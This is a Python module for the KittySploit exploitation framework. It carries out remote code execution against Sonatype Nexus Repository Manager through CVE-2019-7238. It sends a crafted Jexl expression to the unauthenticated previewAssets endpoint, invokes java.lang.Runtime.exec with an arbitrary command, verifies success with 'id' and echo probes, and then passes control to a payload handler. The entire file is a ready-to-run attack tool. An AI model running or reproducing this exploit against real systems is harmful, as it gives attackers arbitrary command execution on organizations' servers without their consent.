Sonatype Nexus Jexl RCE (CVE-2019-7238)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sonatype Nexus Repository Manager Jexl RCE (CVE-2019-7238)."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Sonatype Nexus Jexl RCE (CVE-2019-7238)',
        'description': (
            'Exploits CVE-2019-7238 in Nexus Repository Manager <3.15.0: missing ACL on '
            '/service/extdirect previewAssets allows Jexl expression remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-7238'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-7238',
            'https://support.sonatype.com/hc/en-us/articles/360017310793',
        ],
        'tags': ['nexus', 'sonatype', 'jexl', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_7238_detect'],
            },
        },
    }

    extdirect_path = OptString('/service/extdirect', 'Nexus extdirect endpoint', required=False, advanced=True)

    def _payload(self, expression: str) -> str:
        body = {
            'action': 'coreui_Component',
            'type': 'rpc',
            'tid': 8,
            'data': [{
                'sort': [{'direction': 'ASC', 'property': 'name'}],
                'start': 0,
                'filter': [
                    {'property': 'repositoryName', 'value': '*'},
                    {'property': 'expression', 'value': expression},
                    {'property': 'type', 'value': 'jexl'},
                ],
                'limit': 50,
                'page': 1,
            }],
            'method': 'previewAssets',
        }
        return json.dumps(body)

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        expr = (
            f"''.class.forName('java.lang.Runtime').getMethod('getRuntime',null)"
            f".invoke(null,null).exec('{safe}')"
        )
        path = str(self.extdirect_path or '/service/extdirect').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data=self._payload(expr),
            headers={
                'Content-Type': 'application/json',
                'X-Requested-With': 'XMLHttpRequest',
            },
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-7238 Jexl RCE confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Nexus extdirect Jexl not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        out = self.execute(f'echo {token}')
        return token in (out or '')

    def run(self):
        if not self.check_execute():
            chk = self.check()
            if not chk.get('vulnerable'):
                self.not_vulnerable()
                return False
            print_warning('Command output not reflected — execution may still be blind')
            cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip() or 'id'
            self.execute(cmd)
            self.vulnerable()
            return True
        return self.handler_execute()